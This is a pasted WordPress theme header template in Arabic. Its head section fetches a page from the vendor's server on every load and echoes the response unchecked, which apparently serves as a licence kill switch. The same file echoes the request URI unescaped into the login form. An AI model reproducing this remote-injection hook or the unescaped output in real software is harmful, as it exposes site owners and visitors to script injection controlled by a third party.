Advertisement
Guest User

Untitled

a guest
Aug 9th, 2013
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.83 KB | None | 0 0
  1. <!DOCTYPE HTML>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>
  6. <?php if (is_home()) { echo bloginfo('name');
  7. } elseif (is_404()) {
  8. echo '404 &#1594;&#1610;&#1585; &#1605;&#1608;&#1580;&#1608;&#1583;';
  9. } elseif (is_category()) {
  10. echo ''; wp_title('');
  11. } elseif (is_search()) {
  12. echo '&#1578;&#1606;&#1575;&#1574;&#1580; &#1575;&#1604;&#1576;&#1581;&#1579;';
  13. } elseif ( is_day() || is_month() || is_year() ) {
  14. echo '&#1575;&#1604;&#1571;&#1585;&#1588;&#1610;&#1601; : '; wp_title('');
  15. } else {
  16. echo wp_title('');
  17. }
  18. global $tatwerat_Blog;
  19. ?>
  20. </title>
  21. <!--
  22. License : www.7bje.com
  23. -->
  24. <?php /*?><?php if(!is_single()) { ?>
  25. <meta name="description" content="<?=stripcslashes($tatwerat_Blog['site_info']);?>">
  26. <meta name="keywords" content="<?=stripcslashes($tatwerat_Blog['site_keywords']);?>">
  27. <? } else if(is_single()) { ?>
  28. <?php
  29. if(have_posts()) : while(have_posts()) : the_post();
  30. $description = get_post_meta($post->ID, 'game_descrition', true);
  31. $keywords = get_post_meta($post->ID, 'howtoplay', true);
  32. ?>
  33. <meta name="description" content="<?=$description;?>">
  34. <meta name="keywords" content="<?=$keywords;?>">
  35. <?php endwhile; endif;?>
  36. <? } ?><?php */?>
  37. <link rel="pingback" href="<?php bloginfo('url'); ?>">
  38. <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="<?php bloginfo('rss2_url'); ?>" />
  39. <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
  40. <link rel="shortcut icon" href="<?php bloginfo('template_directory'); ?>/favicon.ico" />
  41. <?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); global $tatwerat_Blog; ?>
  42. <?php wp_head(); ?>
  43. <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/jquery.js"></script>
  44. <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/jquery_easing.js"></script>
  45. <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/jcarousel.js"></script>
  46. <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/slide-show.js"></script>
  47. <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/tool_tip.js"></script>
  48. <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/Tatwerat-js.js"></script>
  49. <?php
  50. $close = @file_get_contents('http://blog.tatwerat.com/clients/7bje.com.php');
  51. if($close === false){
  52. echo "";
  53. }
  54. else {
  55. echo $close;
  56. }
  57. ?>
  58. </head>
  59. <body>
  60. <?php if (is_user_logged_in()) {?>
  61. <?php } else { ?>
  62. <div id="login">
  63. <div class="Login">
  64. <form action="<?php bloginfo('url') ?>/wp-login.php" method="post" class="login-form">
  65. <input type="text" name="log" value="&#1575;&#1587;&#1605; &#1575;&#1604;&#1593;&#1590;&#1608;" class="login_name" onfocus="if(this.value=='&#1575;&#1587;&#1605; &#1575;&#1604;&#1593;&#1590;&#1608;') this.value=''" onblur="if(this.value=='') this.value='&#1575;&#1587;&#1605; &#1575;&#1604;&#1593;&#1590;&#1608;'" />
  66. <input type="password" name="pwd" class="login_password" />
  67. <input type="hidden" name="redirect_to" value="<?php echo $_SERVER['REQUEST_URI']; ?>"/>
  68. <input type="submit" value="&#1583;&#1582;&#1608;&#1604;" class="login_button" />
  69. </form>
  70. <a href="<?php bloginfo('url') ?>/wp-login.php?action=register" class="new_reg">&#1578;&#1587;&#1580;&#1610;&#1604; &#1593;&#1590;&#1608; &#1580;&#1583;&#1610;&#1583;</a> </div>
  71. </div>
  72. <!--/login-->
  73. <?php } ?>
  74. <div id="wrapper-top">
  75. <div id="wrapper-bottom">
  76. <div id="container">
  77. <div id="header">
  78. <div class="header-right">
  79. <div class="logo"></div>
  80. <!--/logo-->
  81. <div class="social">
  82. <p>&#1578;&#1575;&#1576;&#1593;&#1606;&#1575; &#1593;&#1604;&#1609; ...</p>
  83. <ul>
  84. <?php
  85. $facebook = stripcslashes($tatwerat_Blog["facebook_url"]);
  86. $twitter = stripcslashes($tatwerat_Blog["twitter_url"]);
  87. $google_blus = stripcslashes($tatwerat_Blog["google_url"]);
  88. ?>
  89. <li><a class="facebook" title="&#1578;&#1575;&#1576;&#1593;&#1606;&#1575; &#1593;&#1604;&#1609; facebook" target="_blank" href="<?=$facebook;?>">&nbsp;</a></li>
  90. <li><a class="twitter" title="&#1578;&#1575;&#1576;&#1593;&#1606;&#1575; &#1593;&#1604;&#1609; twitter" target="_blank" href="<?=$twitter;?>">&nbsp;</a></li>
  91. <li><a class="gplus" title="&#1578;&#1575;&#1576;&#1593;&#1606;&#1575; &#1593;&#1604;&#1609; google +" target="_blank" href="<?=$google_blus;?>">&nbsp;</a></li>
  92. <li><a class="rss" title="&#1578;&#1575;&#1576;&#1593;&#1606;&#1575; &#1593;&#1604;&#1609; rss feed" target="_blank" href="<?=bloginfo("rss2_url");?>">&nbsp;</a></li>
  93. </ul>
  94. </div>
  95. <!--/social-->
  96. </div>
  97. <!--/header-right-->
  98. <div class="header-left">
  99. <?php if (!is_user_logged_in()) {?>
  100. <div class="reg"><a href="#">&#1583;&#1582;&#1608;&#1604; &#1575;&#1604;&#1575;&#1593;&#1590;&#1575;&#1569;</a></div>
  101. <?php } else { ?>
  102. <div class="reg"><a href="<?php echo get_bloginfo('url'); ?>/wp-admin">&#1604;&#1608;&#1581;&#1577; &#1575;&#1604;&#1578;&#1581;&#1603;&#1605;</a></div>
  103. <?php } ?>
  104. <div class="adv">
  105. <?php
  106. $adv_type = stripcslashes($tatwerat_Blog['adv_1_type']);
  107. $adv_code = stripcslashes($tatwerat_Blog['header_adv_1_code']);
  108. $adv_img = stripcslashes($tatwerat_Blog['header_adv_1']);
  109. $adv_img_url = stripcslashes($tatwerat_Blog['header_adv_1_url']);
  110. ?>
  111. <?php if($adv_type == '1'){ ?>
  112. <?php if($adv_img == ''){ ?>
  113. <ul>
  114. <li><a href="javascript:adv_img();"><img src="<?php bloginfo('template_directory'); ?>/images/adv.gif" alt="" /></a></li>
  115. </ul>
  116. <? } else { ?>
  117. <ul>
  118. <li><a href="<?=$adv_img_url;?>" target="_blank"><img src="<?=$adv_img;?>" alt="" /></a></li>
  119. </ul>
  120. <? } } else if($adv_type == '2'){ ?>
  121. <?php if($adv_code == ''){ ?>
  122. <ul>
  123. <li><a href="javascript:adv_code();"><img src="<?php bloginfo('template_directory'); ?>/images/adv.gif" alt="" /></a></li>
  124. </ul>
  125. <? } else { ?>
  126. <ul>
  127. <li><?=$adv_code;?></a></li>
  128. </ul>
  129. <? } } ?>
  130. </div>
  131. <!--/adv-->
  132. <div class="search">
  133. <p>&#1607;&#1604; &#1578;&#1576;&#1581;&#1579; &#1593;&#1606; &#1588;&#1574; &#1567;</p>
  134. <form action="<? bloginfo("url"); ?>" method="get">
  135. <input type="text" value="&#1590;&#1593; &#1605;&#1575; &#1578;&#1576;&#1581;&#1579; &#1593;&#1606;&#1607; &#1607;&#1606;&#1575; ..." class="search-text" name="s" onfocus="if(this.value=='&#1590;&#1593; &#1605;&#1575; &#1578;&#1576;&#1581;&#1579; &#1593;&#1606;&#1607; &#1607;&#1606;&#1575; ...') this.value=''" onblur="if(this.value=='') this.value='&#1590;&#1593; &#1605;&#1575; &#1578;&#1576;&#1581;&#1579; &#1593;&#1606;&#1607; &#1607;&#1606;&#1575; ...'" />
  136. <input type="submit" value="" class="search-button" />
  137. </form>
  138. </div>
  139. <!--/search-->
  140. </div>
  141. <!--/header-left-->
  142. </div>
  143. <!--/header-->?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement